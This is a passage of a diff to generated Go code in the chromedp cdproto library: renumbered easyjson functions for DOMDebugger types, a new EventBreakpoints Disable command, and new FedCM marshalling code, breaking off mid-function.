@@ -559,7 +427,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(in *jlexer.Lexer
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(out *jwriter.Writer, in RemoveEventListenerBreakpointParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(out *jwriter.Writer, in RemoveEventListenerBreakpointParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -579,27 +447,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(out *jwriter.Wri
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v RemoveEventListenerBreakpointParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v RemoveEventListenerBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *RemoveEventListenerBreakpointParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *RemoveEventListenerBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(in *jlexer.Lexer, out *RemoveDOMBreakpointParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(in *jlexer.Lexer, out *RemoveDOMBreakpointParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -632,7 +500,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(in *jlexer.Lexer
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(out *jwriter.Writer, in RemoveDOMBreakpointParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(out *jwriter.Writer, in RemoveDOMBreakpointParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -652,27 +520,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(out *jwriter.Wri
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v RemoveDOMBreakpointParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v RemoveDOMBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *RemoveDOMBreakpointParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *RemoveDOMBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(in *jlexer.Lexer, out *GetEventListenersReturns) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(in *jlexer.Lexer, out *GetEventListenersReturns) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -732,7 +600,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(in *jlexer.Lexer
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(out *jwriter.Writer, in GetEventListenersReturns) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(out *jwriter.Writer, in GetEventListenersReturns) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -761,27 +629,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(out *jwriter.Wri
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v GetEventListenersReturns) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v GetEventListenersReturns) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger7(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *GetEventListenersReturns) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *GetEventListenersReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger10(in *jlexer.Lexer, out *GetEventListenersParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(in *jlexer.Lexer, out *GetEventListenersParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -816,7 +684,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger10(in *jlexer.Lexe
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger10(out *jwriter.Writer, in GetEventListenersParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(out *jwriter.Writer, in GetEventListenersParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -841,27 +709,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger10(out *jwriter.Wr
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v GetEventListenersParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger10(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v GetEventListenersParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger10(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger8(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *GetEventListenersParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger10(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *GetEventListenersParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger10(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger8(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger11(in *jlexer.Lexer, out *EventListener) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(in *jlexer.Lexer, out *EventListener) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -926,7 +794,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger11(in *jlexer.Lexe
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger11(out *jwriter.Writer, in EventListener) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(out *jwriter.Writer, in EventListener) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -986,23 +854,23 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger11(out *jwriter.Wr
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventListener) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger11(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventListener) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger11(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventListener) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger11(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventListener) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger11(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(l, v)
|
||||
}
|
||||
+59
@@ -149,3 +149,62 @@ func (v *RemoveInstrumentationBreakpointParams) UnmarshalJSON(data []byte) error
|
||||
func (v *RemoveInstrumentationBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoEventbreakpoints1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoEventbreakpoints2(in *jlexer.Lexer, out *DisableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoEventbreakpoints2(out *jwriter.Writer, in DisableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DisableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoEventbreakpoints2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoEventbreakpoints2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoEventbreakpoints2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoEventbreakpoints2(l, v)
|
||||
}
|
||||
+20
-4
@@ -1,10 +1,10 @@
|
||||
// Package eventbreakpoints provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the EventBreakpoints domain.
|
||||
//
|
||||
// EventBreakpoints permits setting breakpoints on particular operations and
|
||||
// events in targets that run JavaScript but do not have a DOM. JavaScript
|
||||
// execution will stop on these operations as if there was a regular breakpoint
|
||||
// set.
|
||||
// EventBreakpoints permits setting JavaScript breakpoints on operations and
|
||||
// events occurring in native code invoked from JavaScript. Once breakpoint is
|
||||
// hit, it is reported through Debugger domain, similarly to regular breakpoints
|
||||
// being hit.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package eventbreakpoints
|
||||
@@ -66,8 +66,24 @@ func (p *RemoveInstrumentationBreakpointParams) Do(ctx context.Context) (err err
|
||||
return cdp.Execute(ctx, CommandRemoveInstrumentationBreakpoint, p, nil)
|
||||
}
|
||||
|
||||
// DisableParams removes all breakpoints.
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable removes all breakpoints.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/EventBreakpoints#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes EventBreakpoints.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandSetInstrumentationBreakpoint = "EventBreakpoints.setInstrumentationBreakpoint"
|
||||
CommandRemoveInstrumentationBreakpoint = "EventBreakpoints.removeInstrumentationBreakpoint"
|
||||
CommandDisable = "EventBreakpoints.disable"
|
||||
)
|
||||
+683
@@ -0,0 +1,683 @@
|
||||
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
|
||||
|
||||
package fedcm
|
||||
|
||||
import (
|
||||
json "encoding/json"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// suppress unused package warning
|
||||
var (
|
||||
_ *json.RawMessage
|
||||
_ *jlexer.Lexer
|
||||
_ *jwriter.Writer
|
||||
_ easyjson.Marshaler
|
||||
)
|
||||
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm(in *jlexer.Lexer, out *SelectAccountParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "dialogId":
|
||||
out.DialogID = string(in.String())
|
||||
case "accountIndex":
|
||||
out.AccountIndex = int64(in.Int64())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm(out *jwriter.Writer, in SelectAccountParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"dialogId\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.DialogID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"accountIndex\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.AccountIndex))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SelectAccountParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SelectAccountParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SelectAccountParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SelectAccountParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm1(in *jlexer.Lexer, out *ResetCooldownParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm1(out *jwriter.Writer, in ResetCooldownParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v ResetCooldownParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v ResetCooldownParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *ResetCooldownParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *ResetCooldownParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm2(in *jlexer.Lexer, out *EventDialogShown) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "dialogId":
|
||||
out.DialogID = string(in.String())
|
||||
case "dialogType":
|
||||
(out.DialogType).UnmarshalEasyJSON(in)
|
||||
case "accounts":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Accounts = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.Accounts == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.Accounts = make([]*Account, 0, 8)
|
||||
} else {
|
||||
out.Accounts = []*Account{}
|
||||
}
|
||||
} else {
|
||||
out.Accounts = (out.Accounts)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v1 *Account
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
v1 = nil
|
||||
} else {
|
||||
if v1 == nil {
|
||||
v1 = new(Account)
|
||||
}
|
||||
(*v1).UnmarshalEasyJSON(in)
|
||||
}
|
||||
out.Accounts = append(out.Accounts, v1)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
case "title":
|
||||
out.Title = string(in.String())
|
||||
case "subtitle":
|
||||
out.Subtitle = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm2(out *jwriter.Writer, in EventDialogShown) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"dialogId\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.DialogID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"dialogType\":"
|
||||
out.RawString(prefix)
|
||||
(in.DialogType).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"accounts\":"
|
||||
out.RawString(prefix)
|
||||
if in.Accounts == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
out.RawByte('[')
|
||||
for v2, v3 := range in.Accounts {
|
||||
if v2 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
if v3 == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*v3).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"title\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Title))
|
||||
}
|
||||
if in.Subtitle != "" {
|
||||
const prefix string = ",\"subtitle\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Subtitle))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventDialogShown) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventDialogShown) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventDialogShown) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventDialogShown) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm3(in *jlexer.Lexer, out *EnableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "disableRejectionDelay":
|
||||
out.DisableRejectionDelay = bool(in.Bool())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm3(out *jwriter.Writer, in EnableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
if in.DisableRejectionDelay {
|
||||
const prefix string = ",\"disableRejectionDelay\":"
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
out.Bool(bool(in.DisableRejectionDelay))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EnableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm4(in *jlexer.Lexer, out *DismissDialogParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "dialogId":
|
